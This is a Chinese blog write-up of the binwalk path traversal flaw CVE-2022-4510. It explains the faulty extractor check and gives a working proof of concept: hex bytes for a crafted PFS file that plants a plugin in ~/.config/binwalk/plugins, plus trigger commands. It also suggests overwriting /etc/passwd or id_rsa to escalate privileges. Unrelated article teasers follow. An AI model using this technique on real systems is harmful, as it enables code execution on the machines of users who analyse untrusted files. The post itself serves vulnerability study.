binwalk远程命令执行漏洞原理以及演示 CVE-2022-4510

news/2024/11/24 12:34:57/

简介

根据cve官方描述,从版本2.1.2到 2.3.3的binwalk中发现了一个路径遍历漏洞。此漏洞允许远程攻击者在安装受影响的binwalk机子上执行任意代码

什么是PFS文件

PFS文件是由PhotoFiltre Studio(图像修饰程序)创建的选择文件。 它包含图像编辑器的多边形选择工具使用的坐标,以便在给定坐标之间绘制线。 PFS文件以纯文本格式存储。

PFS文件格式

https://lekensteyn.nl/files/pfs/pfs.txt

分析源代码

一个PFS提取器插件在2017年合并到了binwalk中,做了一下修改

     def extractor(self, fname):fname = os.path.abspath(fname)out_dir = binwalk.core.common.unique_file_name(os.path.join(os.path.dirname(fname), "pfs-root"))try:with PFS(fname) as fs:  #读取pfs文件数据data = open(fname, 'rb')data = binwalk.core.common.BlockFile(fname, 'rb')data.seek(fs.get_end_of_meta_data())for entry in fs.entries():outfile_path = os.path.join(out_dir, entry.fname)if not outfile_path.startswith(out_dir): binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path)else:self._create_dir_from_fname(outfile_path)outfile = binwalk.core.common.BlockFile(outfile_path, 'wb')outfile.write(data.read(entry.fsize))outfile.close()data.close()except KeyboardInterrupt as e:raise e

问题出现在os.path.join函数上,因为第11行的代码没有完全进行路径解析,所以第12行的条件就永远不会为真

在这里插入图片描述

通过制作一个路径遍历的PFS文件,我们可以强制binwalk在目录之外写入文件

POC

用户可以使用binwalk的 API 定义自己的插件,只需要把插件放在$HOME/.config/binwalk/plugins/目录下,之后运行binwalk时就会调用插件

恶意代码:

import binwalk.core.pluginclass MaliciousExtractor(binwalk.core.plugin.Plugin):def init(self):print("baimao")

保存后用winhex打开文件
在这里插入图片描述

直接粘贴以下十六进制数据

5046 532f 302e 3900 0000 0000 0000 0100
2e2e 2f2e 2e2f 2e2e 2f2e 636f 6e66 6967
2f62 696e 7761 6c6b 2f70 6c75 6769 6e73
2f6d 616c 7761 6c6b 2e70 7900 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
3412 0000 a000 0000 c100 0000

在这里插入图片描述

将.py保存为.pfs文件,然后添加到压缩包里

在这里插入图片描述

当从用户的主目录中用binwalk提取文件时,会在.config/binwalk/plugins加入一个插件,这个恶意插件随后会被 binwalk 加载和执行,从而导致 RCE

cd ~
binwalk -M -e exp.zip

在这里插入图片描述

成功执行代码

总结

今年1月31号才披露细节的cve,学习了一下,除了覆盖./.config/binwalk/plugins/malwalk.py文件,我们还可以覆盖id.rsa或者/etc/passwd文件来直接提权

参考文档:

https://nvd.nist.gov/vuln/detail/CVE-2022-4510
https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk

http://www.ppmy.cn/news/22866.html

相关文章

第2讲 Exception和Error有什么区别?

第2讲 | Exception和Error有什么区别? 世界上存在永远不会出错的程序吗?也许这只会出现在程序员的梦中。随着编程语言和软件的诞生,异常情况就如影随形地纠缠着我们,只有正确处理好意外情况,才能保证程序的可靠性。 J…

SpringCloud系列 Nacos配置管理

在Nacos中添加配置信息&#xff1a; 工程引入&#xff1a; nacos配置管理依赖 <dependency> <groupId>com.alibaba.cloud</groupId> <artifactId>spring-cloud-starter-alibaba-nacos-config</artifactId> </dependency> bootstrap.yml&a…

第03讲:BootStrap

贯穿案例展示–车位管理 导入&#xff1a;为什么要使用BootStrap Bootstrap&#xff0c;来自 Twitter&#xff0c;是一款受欢迎的前端框架。Bootstrap 是基于 HTML、CSS、JAVASCRIPT 的&#xff0c;它简洁灵活&#xff0c;使得 Web 开发更加快捷。 大家可以在github上下载&am…

动态主机配置协议(DHCP,Dynamic Host Configuration Protocol)

动态主机配置协议(DHCP&#xff0c;Dynamic Host Configuration ProtocolDHCPlinux:安装操作指南查看MAC物理地址方法&#xff1a;拓展知识1&#xff1a;拓展知识2&#xff1a;拓展&#xff1a;DHCP 动态主机配置协议&#xff08;DHCP&#xff0c;Dynamic Host Configuration …

自己整理的一些前端知识点,包括vue2,vue3,js,css,微信小程序等

Vue3自考题 1&#xff0c;如何使用vue3的组合式api 答&#xff1a; 在普通的前端项目工程中&#xff0c;在script标签中增加setup即可使用api使用setup()钩子函数 2&#xff0c;computed 与各个watch之间和method的区别 答&#xff1a; ​ 注意&#xff1a; 不要在计算属…

第19讲:Python中的字符串的创建、特殊字符穿、转义字符串、字符串运算、跨多行展示、字符串索引、反转与排序

文章目录1.什么是字符串2.字符串的创建2.1.使用引号定义字符串2.2.调用str函数创建字符串3.在字符串中包含特殊的字符3.1.常见特殊字符以及使用3.2.转义字符使在字符串汇总使用特殊字符4.原始字符串5.字符串在代码中的跨多行显示5.1.三个引号实现字符串在代码中跨多行显示5.2.反…

Day881.临时表排序 -MySQL实战

临时表排序 Hi&#xff0c;我是阿昌&#xff0c;今天学习记录的是关于临时表排序的内容。 一个随机显示单词的功能&#xff0c;也就是根据每个用户的级别有一个单词表&#xff0c;然后这个用户每次访问首页的时候&#xff0c;都会随机滚动显示三个单词。 他们发现随着单词表…

Leetcode力扣秋招刷题路-0013

从0开始的秋招刷题路&#xff0c;记录下所刷每道题的题解&#xff0c;帮助自己回顾总结 13. 罗马数字转整数 罗马数字包含以下七种字符: I&#xff0c; V&#xff0c; X&#xff0c; L&#xff0c;C&#xff0c;D 和 M。 字符 数值 I 1 V 5 X 10 L 50 C 100 D 500 M 1000 例…